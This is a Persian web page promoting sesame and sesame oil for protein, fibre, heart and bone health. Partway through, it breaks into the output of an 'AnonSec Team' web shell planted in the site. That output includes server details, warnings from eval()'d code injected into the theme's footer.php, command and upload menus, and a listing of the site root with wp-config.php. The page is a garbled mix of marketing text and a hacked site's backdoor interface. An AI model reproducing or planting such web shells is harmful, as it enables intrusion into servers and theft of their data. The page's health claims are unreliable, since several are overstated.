ویژگی کنجد

کنجد بسیار مغذی است. با آنتی اکسیدان های موجود در آن از بیماری های قلبی محافظت می کند. این یک جایگزین سالم برای رژیم های وگان و گیاهخواری است زیرا منبع خوبی از پروتئین است. آهن، مس و ویتامین B6 موجود در کنجد از تولید گلبول های قرمز خون حمایت می کنند. علاوه بر این، کنجد حاوی مواد معدنی بسیار مهم برای سلامت استخوان است. با این حال، محتوای چربی بسیار بالا است، بنابراین باید به طور متعادل مصرف شود. روغن کنجد همچنین به طور گسترده در آشپزی، مراقبت از مو و پوست یا طب سنتی استفاده می شود. در این مقاله می توانید اطلاعات دقیقی در مورد فواید و کاربردهای کنجد و روغن آن بیابید.


کنجد و فروش عمده روغن کنجد به عنوان یک منبع غنی از پروتئین، افزودنی عالی برای رژیم های گیاهخواری یا وگان است. همچنین با مسی که دارد از تولید گلبول های قرمز و سیستم ایمنی بدن حمایت می کند. 1 فنجان کنجد 163 درصد از نیاز روزانه شما به مس را تامین می کند. کنجد حاوی منگنز و کلسیم است که برای سلامت استخوان ها ضروری است. همچنین منبع فسفر، منیزیم، آهن، روی، مولیبدن، سلنیوم و ویتامین B1 است.

کنجد با داشتن فیبر بالا، چربی های اشباع نشده و آنتی اکسیدان ها می تواند از بیماری های قلبی، سرطان و دیابت نوع 2 محافظت کند. همچنین با اثر ضد التهابی خود می تواند درد مفاصل ناشی از آرتروز را کاهش دهد. می تواند عدم تعادل هورمونی یائسگی را با فیتواستروژن های موجود در آن تنظیم کند.
منبع خوب فیبر
فیبر به ویژه برای سلامت دستگاه گوارش ضروری است. علاوه بر این، مطالعات نشان می دهد که رژیم غذایی غنی از فیبر می تواند خطر بیماری قلبی، برخی از انواع سرطان، چاقی و دیابت نوع 2 را کاهش دهد. کنجد منبع خوبی از فیبر است.

ليست قيمت روز كنجد هندى

روغن کنجد برای زانو درد

ممکن است از بیماری قلبی محافظت کند
کنجد دارای اثر کاهش تری گلیسیرید و کلسترول بالا است که از عوامل خطر ابتلا به بیماری های قلبی هستند، به لطف چربی های پلی و تک غیراشباع و آنتی اکسیدان های موجود در آن لیگنان و فیتوسترول علاوه بر این، محتوای بالای منیزیم، لیگنان ها، ویتامین E و سایر آنتی اکسیدان ها می تواند به جلوگیری از تشکیل پلاک در شریان ها و تنظیم فشار خون کمک کند.

این یک منبع غنی از پروتئین است
پروتئین ضروری است زیرا به ساخت همه چیز از ماهیچه گرفته تا هورمون کمک می کند. 3 قاشق غذاخوری دانه کنجد حدود 5 گرم پروتئین تامین می کند. کنجد دارای لیزین کم است، یک اسید آمینه ضروری که به طور معمول در محصولات حیوانی فراوانتر است.

وگان ها و گیاهخواران می توانند کمبود لیزین را با حبوباتی مانند لوبیا چشم بلبلی و نخود جبران کنند. اما کنجد همچنین سرشار از متیونین و سیستئین است، دو اسید آمینه که به مقدار زیاد در حبوبات یافت نمی شوند. (4) برای به حداکثر رساندن جذب پروتئین در کنجد، مصرف پوسته شده و برشته شده را انتخاب کنید.

 

از سلامت استخوان ها حمایت می کند
دانه‌های کنجد بدون پوسته و روغن زیتون سابروسو سرشار از مواد مغذی (منیزیم، منگنز، روی) هستند که برای سلامت استخوان‌ها از جمله کلسیم ضروری هستند. مصرف کنجد خیسانده، بو داده یا جوانه زده می تواند جذب این مواد معدنی را افزایش دهد.

ممکن است از عفونت جلوگیری کند
کنجد و سزامولین موجود در کنجد دارای خواص آنتی اکسیدانی و ضد باکتریایی هستند. آنتی اکسیدان ها با کاهش سرعت آسیب به سلول ها از بدن در برابر بیماری های مختلف محافظت می کنند. فعالیت ضد باکتریایی کنجد در برابر عفونت های استاف، گلودرد و برخی از قارچ های رایج پوست محافظت می کند.

ÿØÿà JFIF ÿþ; AnonSec Team
AnonSec Team
Server IP : 2001:41d0:a:5b22::  /  Your IP : 2001:41d0:2:a4c6::1
Web Server : LiteSpeed
System : Linux ps4.arad360.com 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : oilse103 ( 1565)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 329
OFF  |  Perl :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 335
OFF  |  Python :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 341
OFF
Directory (0755) :  /home/oilse103/domains/oilseeda.ir/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Name
Size
Last Modified
Owner
Permissions
Options
..
--
July 09 2023 3:24:59
1565
0711
wp-admin
--
April 13 2025 2:02:56
1565
0755
wp-content
--
April 14 2025 8:44:50
1565
0755
wp-includes
--
May 15 2024 11:24:36
1565
0755
.htaccess
2.331 KB
May 11 2024 3:30:07
1565
0644
.htaccess.bk
0.182 KB
February 13 2023 9:10:49
1565
0644
google1283c0107decd32d.html
0.052 KB
May 31 2022 7:10:34
1565
0644
index.php
0.396 KB
February 06 2020 6:33:11
1565
0644
license.txt
19.448 KB
May 15 2024 11:24:36
1565
0644
pair4.php
0 KB
April 14 2025 8:53:13
1565
0644
readme.html
7.228 KB
May 15 2024 11:24:36
1565
0644
robots.txt
0.266 KB
July 06 2024 8:57:22
1565
0644
wp-activate.php
7.214 KB
May 15 2024 11:24:36
1565
0644
wp-blog-header.php
0.343 KB
February 06 2020 6:33:11
1565
0644
wp-comments-post.php
2.269 KB
May 15 2024 11:24:35
1565
0644
wp-config-sample.php
2.941 KB
May 15 2024 11:24:36
1565
0644
wp-config.php
2.895 KB
July 11 2024 1:25:48
1565
0644
wp-cron.php
5.506 KB
May 15 2024 11:24:35
1565
0644
wp-links-opml.php
2.443 KB
May 15 2024 11:24:35
1565
0644
wp-load.php
3.835 KB
May 15 2024 11:24:35
1565
0644
wp-login.php
49.724 KB
May 15 2024 11:24:35
1565
0644
wp-mail.php
8.325 KB
May 15 2024 11:24:34
1565
0644
wp-settings.php
27.761 KB
May 15 2024 11:24:34
1565
0644
wp-signup.php
33.579 KB
May 15 2024 11:24:35
1565
0644
wp-trackback.php
4.771 KB
May 15 2024 11:24:36
1565
0644
xmlrpc.php
3.17 KB
May 15 2024 11:24:35
1565
0644

AnonSec - 2021